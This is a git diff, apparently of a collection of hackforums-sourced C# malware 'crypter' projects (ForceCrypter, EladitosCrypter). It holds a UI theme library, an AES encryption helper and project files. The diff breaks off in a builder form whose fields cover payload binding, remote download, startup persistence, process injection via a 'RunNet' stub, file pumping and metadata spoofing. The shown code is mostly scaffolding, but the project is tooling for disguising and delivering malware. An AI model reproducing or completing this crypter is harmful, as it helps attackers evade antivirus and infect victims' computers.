+ get { return ImageLayout.None; } + set { } + } + + public override string Text + { + get { return base.Text; } + set + { + base.Text = value; + Invalidate(); + } + } + public override Font Font + { + get { return base.Font; } + set + { + base.Font = value; + Invalidate(); + } + } + + private bool _BackColor; + [Category("Misc")] + public override Color BackColor + { + get { return base.BackColor; } + set + { + if (!IsHandleCreated && value == Color.Transparent) + { + _BackColor = true; + return; + } + + base.BackColor = value; + if (Parent != null) + ColorHook(); + } + } + + #endregion + + #region " Public Properties " + + private bool _NoRounding; + public bool NoRounding + { + get { return _NoRounding; } + set + { + _NoRounding = value; + Invalidate(); + } + } + + private Image _Image; + public Image Image + { + get { return _Image; } + set + { + if (value == null) + { + _ImageSize = Size.Empty; + } + else + { + _ImageSize = value.Size; + } + + _Image = value; + Invalidate(); + } + } + + private bool _Transparent; + public bool Transparent + { + get { return _Transparent; } + set + { + _Transparent = value; + if (!IsHandleCreated) + return; + + if (!value && !(BackColor.A == 255)) + { + throw new Exception("Unable to change value to false while a transparent BackColor is in use."); + } + + SetStyle(ControlStyles.Opaque, !value); + SetStyle(ControlStyles.SupportsTransparentBackColor, value); + + if (value) + InvalidateBitmap(); + else + B = null; + Invalidate(); + } + } + + private Dictionary Items = new Dictionary(); + public Bloom[] Colors + { + get + { + List T = new List(); + Dictionary.Enumerator E = Items.GetEnumerator(); + + while (E.MoveNext()) + { + T.Add(new Bloom(E.Current.Key, E.Current.Value)); + } + + return T.ToArray(); + } + set + { + foreach (Bloom B in value) + { + if (Items.ContainsKey(B.Name)) + Items[B.Name] = B.Value; + } + + InvalidateCustimization(); + ColorHook(); + Invalidate(); + } + } + + private string _Customization; + public string Customization + { + get { return _Customization; } + set + { + if (value == _Customization) + return; + + byte[] Data = null; + Bloom[] Items = Colors; + + try + { + Data = Convert.FromBase64String(value); + for (int I = 0; I <= Items.Length - 1; I++) + { + Items[I].Value = Color.FromArgb(BitConverter.ToInt32(Data, I * 4)); + } + } + catch + { + return; + } + + _Customization = value; + + Colors = Items; + ColorHook(); + Invalidate(); + } + } + + #endregion + + #region " Private Properties " + + private Size _ImageSize; + protected Size ImageSize + { + get { return _ImageSize; } + } + + private int _LockWidth; + protected int LockWidth + { + get { return _LockWidth; } + set + { + _LockWidth = value; + if (!(LockWidth == 0) && IsHandleCreated) + Width = LockWidth; + } + } + + private int _LockHeight; + protected int LockHeight + { + get { return _LockHeight; } + set + { + _LockHeight = value; + if (!(LockHeight == 0) && IsHandleCreated) + Height = LockHeight; + } + } + + private bool _IsAnimated; + protected bool IsAnimated + { + get { return _IsAnimated; } + set + { + _IsAnimated = value; + InvalidateTimer(); + } + } + + #endregion + + + #region " Property Helpers " + + protected Pen GetPen(string name) + { + return new Pen(Items[name]); + } + protected Pen GetPen(string name, float width) + { + return new Pen(Items[name], width); + } + + protected SolidBrush GetBrush(string name) + { + return new SolidBrush(Items[name]); + } + + protected Color GetColor(string name) + { + return Items[name]; + } + + protected void SetColor(string name, Color value) + { + if (Items.ContainsKey(name)) + Items[name] = value; + else + Items.Add(name, value); + } + protected void SetColor(string name, byte r, byte g, byte b) + { + SetColor(name, Color.FromArgb(r, g, b)); + } + protected void SetColor(string name, byte a, byte r, byte g, byte b) + { + SetColor(name, Color.FromArgb(a, r, g, b)); + } + protected void SetColor(string name, byte a, Color value) + { + SetColor(name, Color.FromArgb(a, value)); + } + + private void InvalidateBitmap() + { + if (Width == 0 || Height == 0) + return; + B = new Bitmap(Width, Height, PixelFormat.Format32bppPArgb); + G = Graphics.FromImage(B); + } + + private void InvalidateCustimization() + { + MemoryStream M = new MemoryStream(Items.Count * 4); + + foreach (Bloom B in Colors) + { + M.Write(BitConverter.GetBytes(B.Value.ToArgb()), 0, 4); + } + + M.Close(); + _Customization = Convert.ToBase64String(M.ToArray()); + } + + private void InvalidateTimer() + { + if (DesignMode || !DoneCreation) + return; + + if (_IsAnimated) + { + ThemeShare.AddAnimationCallback(DoAnimation); + } + else + { + ThemeShare.RemoveAnimationCallback(DoAnimation); + } + } + #endregion + + + #region " User Hooks " + + protected abstract void ColorHook(); + protected abstract void PaintHook(); + + protected virtual void OnCreation() + { + } + + protected virtual void OnAnimation() + { + } + + #endregion + + + #region " Offset " + + private Rectangle OffsetReturnRectangle; + protected Rectangle Offset(Rectangle r, int amount) + { + OffsetReturnRectangle = new Rectangle(r.X + amount, r.Y + amount, r.Width - (amount * 2), r.Height - (amount * 2)); + return OffsetReturnRectangle; + } + + private Size OffsetReturnSize; + protected Size Offset(Size s, int amount) + { + OffsetReturnSize = new Size(s.Width + amount, s.Height + amount); + return OffsetReturnSize; + } + + private Point OffsetReturnPoint; + protected Point Offset(Point p, int amount) + { + OffsetReturnPoint = new Point(p.X + amount, p.Y + amount); + return OffsetReturnPoint; + } + + #endregion + + #region " Center " + + + private Point CenterReturn; + protected Point Center(Rectangle p, Rectangle c) + { + CenterReturn = new Point((p.Width / 2 - c.Width / 2) + p.X + c.X, (p.Height / 2 - c.Height / 2) + p.Y + c.Y); + return CenterReturn; + } + protected Point Center(Rectangle p, Size c) + { + CenterReturn = new Point((p.Width / 2 - c.Width / 2) + p.X, (p.Height / 2 - c.Height / 2) + p.Y); + return CenterReturn; + } + + protected Point Center(Rectangle child) + { + return Center(Width, Height, child.Width, child.Height); + } + protected Point Center(Size child) + { + return Center(Width, Height, child.Width, child.Height); + } + protected Point Center(int childWidth, int childHeight) + { + return Center(Width, Height, childWidth, childHeight); + } + + protected Point Center(Size p, Size c) + { + return Center(p.Width, p.Height, c.Width, c.Height); + } + + protected Point Center(int pWidth, int pHeight, int cWidth, int cHeight) + { + CenterReturn = new Point(pWidth / 2 - cWidth / 2, pHeight / 2 - cHeight / 2); + return CenterReturn; + } + + #endregion + + #region " Measure " + + private Bitmap MeasureBitmap; + //TODO: Potential issues during multi-threading. + private Graphics MeasureGraphics; + + protected Size Measure() + { + return MeasureGraphics.MeasureString(Text, Font, Width).ToSize(); + } + protected Size Measure(string text) + { + return MeasureGraphics.MeasureString(text, Font, Width).ToSize(); + } + + #endregion + + + #region " DrawPixel " + + + private SolidBrush DrawPixelBrush; + protected void DrawPixel(Color c1, int x, int y) + { + if (_Transparent) + { + B.SetPixel(x, y, c1); + } + else + { + DrawPixelBrush = new SolidBrush(c1); + G.FillRectangle(DrawPixelBrush, x, y, 1, 1); + } + } + + #endregion + + #region " DrawCorners " + + + private SolidBrush DrawCornersBrush; + protected void DrawCorners(Color c1, int offset) + { + DrawCorners(c1, 0, 0, Width, Height, offset); + } + protected void DrawCorners(Color c1, Rectangle r1, int offset) + { + DrawCorners(c1, r1.X, r1.Y, r1.Width, r1.Height, offset); + } + protected void DrawCorners(Color c1, int x, int y, int width, int height, int offset) + { + DrawCorners(c1, x + offset, y + offset, width - (offset * 2), height - (offset * 2)); + } + + protected void DrawCorners(Color c1) + { + DrawCorners(c1, 0, 0, Width, Height); + } + protected void DrawCorners(Color c1, Rectangle r1) + { + DrawCorners(c1, r1.X, r1.Y, r1.Width, r1.Height); + } + protected void DrawCorners(Color c1, int x, int y, int width, int height) + { + if (_NoRounding) + return; + + if (_Transparent) + { + B.SetPixel(x, y, c1); + B.SetPixel(x + (width - 1), y, c1); + B.SetPixel(x, y + (height - 1), c1); + B.SetPixel(x + (width - 1), y + (height - 1), c1); + } + else + { + DrawCornersBrush = new SolidBrush(c1); + G.FillRectangle(DrawCornersBrush, x, y, 1, 1); + G.FillRectangle(DrawCornersBrush, x + (width - 1), y, 1, 1); + G.FillRectangle(DrawCornersBrush, x, y + (height - 1), 1, 1); + G.FillRectangle(DrawCornersBrush, x + (width - 1), y + (height - 1), 1, 1); + } + } + + #endregion + + #region " DrawBorders " + + protected void DrawBorders(Pen p1, int offset) + { + DrawBorders(p1, 0, 0, Width, Height, offset); + } + protected void DrawBorders(Pen p1, Rectangle r, int offset) + { + DrawBorders(p1, r.X, r.Y, r.Width, r.Height, offset); + } + protected void DrawBorders(Pen p1, int x, int y, int width, int height, int offset) + { + DrawBorders(p1, x + offset, y + offset, width - (offset * 2), height - (offset * 2)); + } + + protected void DrawBorders(Pen p1) + { + DrawBorders(p1, 0, 0, Width, Height); + } + protected void DrawBorders(Pen p1, Rectangle r) + { + DrawBorders(p1, r.X, r.Y, r.Width, r.Height); + } + protected void DrawBorders(Pen p1, int x, int y, int width, int height) + { + G.DrawRectangle(p1, x, y, width - 1, height - 1); + } + + #endregion + + #region " DrawText " + + private Point DrawTextPoint; + + private Size DrawTextSize; + protected void DrawText(Brush b1, HorizontalAlignment a, int x, int y) + { + DrawText(b1, Text, a, x, y); + } + protected void DrawText(Brush b1, string text, HorizontalAlignment a, int x, int y) + { + if (text.Length == 0) + return; + + DrawTextSize = Measure(text); + DrawTextPoint = Center(DrawTextSize); + + switch (a) + { + case HorizontalAlignment.Left: + G.DrawString(text, Font, b1, x, DrawTextPoint.Y + y); + break; + case HorizontalAlignment.Center: + G.DrawString(text, Font, b1, DrawTextPoint.X + x, DrawTextPoint.Y + y); + break; + case HorizontalAlignment.Right: + G.DrawString(text, Font, b1, Width - DrawTextSize.Width - x, DrawTextPoint.Y + y); + break; + } + } + + protected void DrawText(Brush b1, Point p1) + { + if (Text.Length == 0) + return; + G.DrawString(Text, Font, b1, p1); + } + protected void DrawText(Brush b1, int x, int y) + { + if (Text.Length == 0) + return; + G.DrawString(Text, Font, b1, x, y); + } + + #endregion + + #region " DrawImage " + + + private Point DrawImagePoint; + protected void DrawImage(HorizontalAlignment a, int x, int y) + { + DrawImage(_Image, a, x, y); + } + protected void DrawImage(Image image, HorizontalAlignment a, int x, int y) + { + if (image == null) + return; + DrawImagePoint = Center(image.Size); + + switch (a) + { + case HorizontalAlignment.Left: + G.DrawImage(image, x, DrawImagePoint.Y + y, image.Width, image.Height); + break; + case HorizontalAlignment.Center: + G.DrawImage(image, DrawImagePoint.X + x, DrawImagePoint.Y + y, image.Width, image.Height); + break; + case HorizontalAlignment.Right: + G.DrawImage(image, Width - image.Width - x, DrawImagePoint.Y + y, image.Width, image.Height); + break; + } + } + + protected void DrawImage(Point p1) + { + DrawImage(_Image, p1.X, p1.Y); + } + protected void DrawImage(int x, int y) + { + DrawImage(_Image, x, y); + } + + protected void DrawImage(Image image, Point p1) + { + DrawImage(image, p1.X, p1.Y); + } + protected void DrawImage(Image image, int x, int y) + { + if (image == null) + return; + G.DrawImage(image, x, y, image.Width, image.Height); + } + + #endregion + + #region " DrawGradient " + + private LinearGradientBrush DrawGradientBrush; + + private Rectangle DrawGradientRectangle; + protected void DrawGradient(ColorBlend blend, int x, int y, int width, int height) + { + DrawGradientRectangle = new Rectangle(x, y, width, height); + DrawGradient(blend, DrawGradientRectangle); + } + protected void DrawGradient(ColorBlend blend, int x, int y, int width, int height, float angle) + { + DrawGradientRectangle = new Rectangle(x, y, width, height); + DrawGradient(blend, DrawGradientRectangle, angle); + } + + protected void DrawGradient(ColorBlend blend, Rectangle r) + { + DrawGradientBrush = new LinearGradientBrush(r, Color.Empty, Color.Empty, 90f); + DrawGradientBrush.InterpolationColors = blend; + G.FillRectangle(DrawGradientBrush, r); + } + protected void DrawGradient(ColorBlend blend, Rectangle r, float angle) + { + DrawGradientBrush = new LinearGradientBrush(r, Color.Empty, Color.Empty, angle); + DrawGradientBrush.InterpolationColors = blend; + G.FillRectangle(DrawGradientBrush, r); + } + + + protected void DrawGradient(Color c1, Color c2, int x, int y, int width, int height) + { + DrawGradientRectangle = new Rectangle(x, y, width, height); + DrawGradient(c1, c2, DrawGradientRectangle); + } + protected void DrawGradient(Color c1, Color c2, int x, int y, int width, int height, float angle) + { + DrawGradientRectangle = new Rectangle(x, y, width, height); + DrawGradient(c1, c2, DrawGradientRectangle, angle); + } + + protected void DrawGradient(Color c1, Color c2, Rectangle r) + { + DrawGradientBrush = new LinearGradientBrush(r, c1, c2, 90f); + G.FillRectangle(DrawGradientBrush, r); + } + protected void DrawGradient(Color c1, Color c2, Rectangle r, float angle) + { + DrawGradientBrush = new LinearGradientBrush(r, c1, c2, angle); + G.FillRectangle(DrawGradientBrush, r); + } + + #endregion + + #region " DrawRadial " + + private GraphicsPath DrawRadialPath; + private PathGradientBrush DrawRadialBrush1; + private LinearGradientBrush DrawRadialBrush2; + + private Rectangle DrawRadialRectangle; + public void DrawRadial(ColorBlend blend, int x, int y, int width, int height) + { + DrawRadialRectangle = new Rectangle(x, y, width, height); + DrawRadial(blend, DrawRadialRectangle, width / 2, height / 2); + } + public void DrawRadial(ColorBlend blend, int x, int y, int width, int height, Point center) + { + DrawRadialRectangle = new Rectangle(x, y, width, height); + DrawRadial(blend, DrawRadialRectangle, center.X, center.Y); + } + public void DrawRadial(ColorBlend blend, int x, int y, int width, int height, int cx, int cy) + { + DrawRadialRectangle = new Rectangle(x, y, width, height); + DrawRadial(blend, DrawRadialRectangle, cx, cy); + } + + public void DrawRadial(ColorBlend blend, Rectangle r) + { + DrawRadial(blend, r, r.Width / 2, r.Height / 2); + } + public void DrawRadial(ColorBlend blend, Rectangle r, Point center) + { + DrawRadial(blend, r, center.X, center.Y); + } + public void DrawRadial(ColorBlend blend, Rectangle r, int cx, int cy) + { + DrawRadialPath.Reset(); + DrawRadialPath.AddEllipse(r.X, r.Y, r.Width - 1, r.Height - 1); + + DrawRadialBrush1 = new PathGradientBrush(DrawRadialPath); + DrawRadialBrush1.CenterPoint = new Point(r.X + cx, r.Y + cy); + DrawRadialBrush1.InterpolationColors = blend; + + if (G.SmoothingMode == SmoothingMode.AntiAlias) + { + G.FillEllipse(DrawRadialBrush1, r.X + 1, r.Y + 1, r.Width - 3, r.Height - 3); + } + else + { + G.FillEllipse(DrawRadialBrush1, r); + } + } + + + protected void DrawRadial(Color c1, Color c2, int x, int y, int width, int height) + { + DrawRadialRectangle = new Rectangle(x, y, width, height); + DrawRadial(c1, c2, DrawRadialRectangle); + } + protected void DrawRadial(Color c1, Color c2, int x, int y, int width, int height, float angle) + { + DrawRadialRectangle = new Rectangle(x, y, width, height); + DrawRadial(c1, c2, DrawRadialRectangle, angle); + } + + protected void DrawRadial(Color c1, Color c2, Rectangle r) + { + DrawRadialBrush2 = new LinearGradientBrush(r, c1, c2, 90f); + G.FillEllipse(DrawRadialBrush2, r); + } + protected void DrawRadial(Color c1, Color c2, Rectangle r, float angle) + { + DrawRadialBrush2 = new LinearGradientBrush(r, c1, c2, angle); + G.FillEllipse(DrawRadialBrush2, r); + } + + #endregion + + #region " CreateRound " + + private GraphicsPath CreateRoundPath; + + private Rectangle CreateRoundRectangle; + public GraphicsPath CreateRound(int x, int y, int width, int height, int slope) + { + CreateRoundRectangle = new Rectangle(x, y, width, height); + return CreateRound(CreateRoundRectangle, slope); + } + + public GraphicsPath CreateRound(Rectangle r, int slope) + { + CreateRoundPath = new GraphicsPath(FillMode.Winding); + CreateRoundPath.AddArc(r.X, r.Y, slope, slope, 180f, 90f); + CreateRoundPath.AddArc(r.Right - slope, r.Y, slope, slope, 270f, 90f); + CreateRoundPath.AddArc(r.Right - slope, r.Bottom - slope, slope, slope, 0f, 90f); + CreateRoundPath.AddArc(r.X, r.Bottom - slope, slope, slope, 90f, 90f); + CreateRoundPath.CloseFigure(); + return CreateRoundPath; + } + + #endregion + +} + +static class ThemeShare +{ + + #region " Animation " + + private static int Frames; + private static bool Invalidate; + + public static PrecisionTimer ThemeTimer = new PrecisionTimer(); + //1000 / 50 = 20 FPS + private const int FPS = 50; + + private const int Rate = 10; + public delegate void AnimationDelegate(bool invalidate); + + + private static List Callbacks = new List(); + private static void HandleCallbacks(IntPtr state, bool reserve) + { + Invalidate = (Frames >= FPS); + if (Invalidate) + Frames = 0; + + lock (Callbacks) + { + for (int I = 0; I <= Callbacks.Count - 1; I++) + { + Callbacks[I].Invoke(Invalidate); + } + } + + Frames += Rate; + } + + private static void InvalidateThemeTimer() + { + if (Callbacks.Count == 0) + { + ThemeTimer.Delete(); + } + else + { + ThemeTimer.Create(0, Rate, HandleCallbacks); + } + } + + public static void AddAnimationCallback(AnimationDelegate callback) + { + lock (Callbacks) + { + if (Callbacks.Contains(callback)) + return; + + Callbacks.Add(callback); + InvalidateThemeTimer(); + } + } + + public static void RemoveAnimationCallback(AnimationDelegate callback) + { + lock (Callbacks) + { + if (!Callbacks.Contains(callback)) + return; + + Callbacks.Remove(callback); + InvalidateThemeTimer(); + } + } + + #endregion + +} + +enum MouseState : byte +{ + None = 0, + Over = 1, + Down = 2, + Block = 3 +} + +struct Bloom +{ + + public string _Name; + public string Name + { + get { return _Name; } + } + + private Color _Value; + public Color Value + { + get { return _Value; } + set { _Value = value; } + } + + public string ValueHex + { + get { return string.Concat("#", _Value.R.ToString("X2", null), _Value.G.ToString("X2", null), _Value.B.ToString("X2", null)); } + set + { + try + { + _Value = ColorTranslator.FromHtml(value); + } + catch + { + return; + } + } + } + + + public Bloom(string name, Color value) + { + _Name = name; + _Value = value; + } +} + +//------------------ +//Creator: aeonhack +//Site: elitevs.net +//Created: 11/30/2011 +//Changed: 11/30/2011 +//Version: 1.0.0 +//------------------ +class PrecisionTimer : IDisposable +{ + + private bool _Enabled; + public bool Enabled + { + get { return _Enabled; } + } + + private IntPtr Handle; + + private TimerDelegate TimerCallback; + [DllImport("kernel32.dll", EntryPoint = "CreateTimerQueueTimer")] + private static extern bool CreateTimerQueueTimer(ref IntPtr handle, IntPtr queue, TimerDelegate callback, IntPtr state, uint dueTime, uint period, uint flags); + + [DllImport("kernel32.dll", EntryPoint = "DeleteTimerQueueTimer")] + private static extern bool DeleteTimerQueueTimer(IntPtr queue, IntPtr handle, IntPtr callback); + + public delegate void TimerDelegate(IntPtr r1, bool r2); + + public void Create(uint dueTime, uint period, TimerDelegate callback) + { + if (_Enabled) + return; + + TimerCallback = callback; + bool Success = CreateTimerQueueTimer(ref Handle, IntPtr.Zero, TimerCallback, IntPtr.Zero, dueTime, period, 0); + + if (!Success) + ThrowNewException("CreateTimerQueueTimer"); + _Enabled = Success; + } + + public void Delete() + { + if (!_Enabled) + return; + bool Success = DeleteTimerQueueTimer(IntPtr.Zero, Handle, IntPtr.Zero); + + if (!Success && !(Marshal.GetLastWin32Error() == 997)) + { + ThrowNewException("DeleteTimerQueueTimer"); + } + + _Enabled = !Success; + } + + private void ThrowNewException(string name) + { + throw new Exception(string.Format("{0} failed. Win32Error: {1}", name, Marshal.GetLastWin32Error())); + } + + public void Dispose() + { + Delete(); + } +} + + diff --git a/C# (ForceCrypter/ForceCrypterSmall/encboop.cs b/C# (ForceCrypter/ForceCrypterSmall/encboop.cs new file mode 100644 index 0000000..9c3cfda --- /dev/null +++ b/C# (ForceCrypter/ForceCrypterSmall/encboop.cs @@ -0,0 +1,79 @@ +using System; +using System.Text; +using System.Security.Cryptography; +using System.IO; +//Copyright 2016 +//Made by mrmutt for hackforums uid=3005497 +//Please leave this note here +namespace ForceCrypterSmall +{ + + public class Encboop + { + + + public static byte[] AESEncrypt(byte[] encrypt, byte[] key2) + { + byte[] encryptedBytes = null; + + // Set your salt here, change it to meet your flavor: + // The salt bytes must be at least 8 bytes. + byte[] saltBytes = new byte[] {1, 2, 3, 4, 5, 6, 7, 8}; + + using (MemoryStream ms = new MemoryStream()) + { + using (RijndaelManaged AES = new RijndaelManaged()) + { + AES.KeySize = 256; + AES.BlockSize = 128; + + var key = new Rfc2898DeriveBytes(key2, saltBytes, 1000); + AES.Key = key.GetBytes(AES.KeySize/8); + AES.IV = key.GetBytes(AES.BlockSize/8); + + AES.Mode = CipherMode.CBC; + + using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write)) + { + cs.Write(encrypt, 0, encrypt.Length); + cs.Close(); + } + encryptedBytes = ms.ToArray(); + } + } + + + return encryptedBytes; + } + + public static byte[] AESDecrypt(byte[] decrypted, byte[] key2) + { + byte[] decryptedBytes = null; + + byte[] saltBytes = new byte[] {1, 2, 3, 4, 5, 6, 7, 8}; + + using (MemoryStream ms = new MemoryStream()) + { + using (RijndaelManaged AES = new RijndaelManaged()) + { + AES.KeySize = 256; + AES.BlockSize = 128; + + var key = new Rfc2898DeriveBytes(key2, saltBytes, 1000); + AES.Key = key.GetBytes(AES.KeySize/8); + AES.IV = key.GetBytes(AES.BlockSize/8); + + AES.Mode = CipherMode.CBC; + + using (var cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write)) + { + cs.Write(decrypted, 0, decrypted.Length); + cs.Close(); + } + decryptedBytes = ms.ToArray(); + } + } + return decryptedBytes; + } + } +} diff --git a/C# (MCRYPT/.DS_Store b/C# (MCRYPT/.DS_Store new file mode 100644 index 0000000..5bf7f34 Binary files /dev/null and b/C# (MCRYPT/.DS_Store differ diff --git a/C# (MCRYPT/.vs/EladitosCrypter/v14/.suo b/C# (MCRYPT/.vs/EladitosCrypter/v14/.suo new file mode 100644 index 0000000..a0cfe13 Binary files /dev/null and b/C# (MCRYPT/.vs/EladitosCrypter/v14/.suo differ diff --git a/C# (MCRYPT/EladitosCrypter.csproj b/C# (MCRYPT/EladitosCrypter.csproj new file mode 100644 index 0000000..6b9a4d6 --- /dev/null +++ b/C# (MCRYPT/EladitosCrypter.csproj @@ -0,0 +1,159 @@ + + + + Local + 7.10.3077 + 2.0 + {F8FF43D0-A45B-4028-8024-DB4E7B1A34A1} + Debug + AnyCPU + + + EladitosCrypter + + JScript + Grid + IE50 + false + WinExe + EladitosCrypter + OnBuildSuccess + + + + v4.5 + + + 0.0 + publier\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 0 + 1.0.0.%2a + false + false + true + + + + bin\Debug\ + false + 285212672 + false + + DEBUG;TRACE + + true + 4096 + false + + false + false + false + false + 4 + full + prompt + false + + + bin\Release\ + false + 285212672 + false + + TRACE + + false + 4096 + false + + true + false + false + false + 4 + none + prompt + false + + + + mscorlib + mscorlib.dll + + + System + System.dll + + + System.Drawing + System.Drawing.dll + + + System.Windows.Forms + System.Windows.Forms.dll + + + + + Form + + + Code + + + Form + + + Code + + + Component + + + True + True + Resources.resx + + + Component + + + Form1.cs + + + ResXFileCodeGenerator + Resources.Designer.cs + + + + + False + .NET Framework 3.5 SP1 Client Profile + false + + + False + .NET Framework 3.5 SP1 + true + + + + + + + + + + + + + \ No newline at end of file diff --git a/C# (MCRYPT/EladitosCrypter.csproj.user b/C# (MCRYPT/EladitosCrypter.csproj.user new file mode 100644 index 0000000..e714897 --- /dev/null +++ b/C# (MCRYPT/EladitosCrypter.csproj.user @@ -0,0 +1,13 @@ + + + + + + + + + + fr-FR + false + + \ No newline at end of file diff --git a/C# (MCRYPT/EladitosCrypter.sln b/C# (MCRYPT/EladitosCrypter.sln new file mode 100644 index 0000000..99c5a3c --- /dev/null +++ b/C# (MCRYPT/EladitosCrypter.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.31101.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EladitosCrypter", "EladitosCrypter.csproj", "{F8FF43D0-A45B-4028-8024-DB4E7B1A34A1}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {F8FF43D0-A45B-4028-8024-DB4E7B1A34A1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {F8FF43D0-A45B-4028-8024-DB4E7B1A34A1}.Debug|Any CPU.Build.0 = Debug|Any CPU + {F8FF43D0-A45B-4028-8024-DB4E7B1A34A1}.Release|Any CPU.ActiveCfg = Release|Any CPU + {F8FF43D0-A45B-4028-8024-DB4E7B1A34A1}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/C# (MCRYPT/EladitosCrypter/Form1.cs b/C# (MCRYPT/EladitosCrypter/Form1.cs new file mode 100644 index 0000000..a111242 --- /dev/null +++ b/C# (MCRYPT/EladitosCrypter/Form1.cs @@ -0,0 +1,2206 @@ +namespace EladitosCrypter +{ + using EladitosCrypter.Properties; + using Microsoft.CSharp; + using System; + using System.CodeDom.Compiler; + using System.Collections.Generic; + using System.Collections.Specialized; + using System.ComponentModel; + using System.Diagnostics; + using System.Drawing; + using System.IO; + using System.Reflection; + using System.Resources; + using System.Runtime.InteropServices; + using System.Text; + using System.Text.RegularExpressions; + using System.Threading; + using System.Windows.Forms; + + public class Form1 : Form + { + // Fields + + private InstaCheckBox a1; + private InstaCheckBox a2; + private InstaCheckBox a3; + private InstaCheckBox a4; + private InstaCheckBox a5; + private TextBox aCompany; + private TextBox aCopyright; + private TextBox aDescription; + private TextBox aProduct; + private TextBox aTitle; + private TextBox aVersion; + private InstaButton binderAdd; + private InstaButton binderClear; + private InstaButton binderRemove; + private InstaCheckBox boolMsg; + private InstaCheckBox boxBindOnce; + private InstaCheckBox boxDLOnce; + private InstaCheckBox boxPersistence; + private InstaCheckBox boxSpoof; + private InstaCheckBox boxStartup; + public static bool CloneIcon = false; + private IContainer components = null; + private InstaProgressBar cryptingBar; + private InstaCheckBox csc; + private InstaCheckBox custom; + private InstaCheckBox cvtres; + private InstaCheckBox d1; + private InstaCheckBox d2; + private InstaCheckBox d3; + private InstaCheckBox d4; + public static bool errorb = false; + private InstaLabel expDate; + public static string FileLoc = string.Empty; + private static string herem8 = string.Empty; + public static string IconLoc = string.Empty; + public static string inj = string.Empty; + private InstaButton instaButton1; + private InstaButton instaButton10; + private InstaButton instaButton11; + private InstaButton instaButton12; + private InstaButton instaButton13; + private InstaButton instaButton2; + private InstaButton instaButton3; + private InstaButton instaButton4; + private InstaButton instaButton5; + private InstaButton instaButton6; + private InstaButton instaButton7; + private InstaButton instaButton8; + private InstaButton instaButton9; + private InstaCheckBox instaCheckBox1; + private InstaCheckBox instaCheckBox3; + private InstaLabel instaLabel10; + private InstaLabel instaLabel11; + private InstaLabel instaLabel12; + private InstaLabel instaLabel13; + private InstaLabel instaLabel14; + private InstaLabel instaLabel15; + private InstaLabel instaLabel16; + private InstaLabel instaLabel17; + private InstaLabel instaLabel18; + private InstaLabel instaLabel19; + private InstaLabel instaLabel20; + private InstaLabel instaLabel21; + private InstaLabel instaLabel22; + private InstaLabel instaLabel23; + private InstaLabel instaLabel24; + private InstaLabel instaLabel25; + private InstaLabel instaLabel26; + private InstaLabel instaLabel27; + private InstaLabel instaLabel28; + private InstaLabel instaLabel29; + private InstaLabel instaLabel3; + private InstaLabel instaLabel30; + private InstaLabel instaLabel4; + private InstaLabel instaLabel5; + private InstaLabel instaLabel6; + private InstaLabel instaLabel7; + private InstaLabel instaLabel9; + private InstaSeperator instaSeperator1; + private InstaSeperator instaSeperator10; + private InstaSeperator instaSeperator11; + private InstaSeperator instaSeperator2; + private InstaSeperator instaSeperator3; + private InstaSeperator instaSeperator4; + private InstaSeperator instaSeperator5; + private InstaSeperator instaSeperator6; + private InstaSeperator instaSeperator7; + private InstaSeperator instaSeperator8; + private InstaSeperator instaSeperator9; + private InstaTabControl instaTabControl1; + private InstaTheme instaTheme1; + private InstaCheckBox itself; + private InstaLabel labelExtension; + private InstaLabel lblFile; + private ListBox listBind; + private ListBox listDL; + private TextBox msgBody; + private InstaCheckBox msgRunOnce; + private TextBox msgTitle; + private string n = "\r\n"; + private NumericUpDown numDelay; + private NumericUpDown numPump; + private PictureBox pictureBox1; + private static Random r = new Random(); + public static string str = "䂥䂀䂁䂀䂀䁿䁾䁽䂌䂋䂎䃞䃝䃜䃛䃫䃬䃮䃰䃱䃲䃳䃴䃵䃶䃷䃸䃹䃺䃪䃩䃙䄣䄢䄡䄠䄟䒐䒏䒎䒍䒌䒋䑬䑽䑼䑾䒀䒂䑳䄞䄝䄜䄛䄋䃻䃫䃬䃭䃮䃯䃰䃱䃲䃳䃴䃵䃶䃷䃸䃹䃺䆴䇀䇁䆱䇟䇮䇯䇱䇝䇜䇍䉶䉱䉲䉢䉣䊃䊅䊖䊦䊥䊐䊞䊟䌵䌴䌳䍦䍥䍷䍷䍹"; + private TabPage tabPage1; + private TabPage tabPage2; + private TabPage tabPage3; + private TabPage tabPage4; + private TabPage tabPage5; + private TabPage tabPage6; + private TabPage tabPage7; + private TextBox textBox4; + private InstaLabel timeRem; + private TextBox txtdl; + private TextBox txtExtension; + private TextBox txtInj; + private TextBox txtSUPfile; + private TextBox txtSUPvalue; + private InstaLabel username; + private InstaCheckBox vbc; + public static byte[] runnet = File.ReadAllBytes("RunNet"); + // Methods + public Form1() + { + this.InitializeComponent(); + { + } + this.tabPage1.BackColor = Color.FromArgb(40, 40, 40); + this.tabPage2.BackColor = Color.FromArgb(40, 40, 40); + this.tabPage3.BackColor = Color.FromArgb(40, 40, 40); + this.tabPage4.BackColor = Color.FromArgb(40, 40, 40); + this.tabPage5.BackColor = Color.FromArgb(40, 40, 40); + this.tabPage6.BackColor = Color.FromArgb(40, 40, 40); + this.tabPage7.BackColor = Color.FromArgb(40, 40, 40); + } + + private void binderAdd_Click(object sender, EventArgs e) + { + OpenFileDialog dialog = new OpenFileDialog { + Filter = "All Files|*.*", + ShowHelp = true + }; + if (dialog.ShowDialog() == DialogResult.OK) + { + this.listBind.Items.Add(dialog.FileName); + } + } + + private void binderClear_Click(object sender, EventArgs e) + { + this.listBind.Items.Clear(); + } + + private void binderRemove_Click(object sender, EventArgs e) + { + this.listBind.Items.Remove(this.listBind.SelectedItem); + } + + private static void Compile(string source, string resname, string filename, bool icon) + { + Dictionary providerOptions = new Dictionary(); + providerOptions.Add("CompilerVersion", "v2.0"); + CompilerParameters options = new CompilerParameters(); + 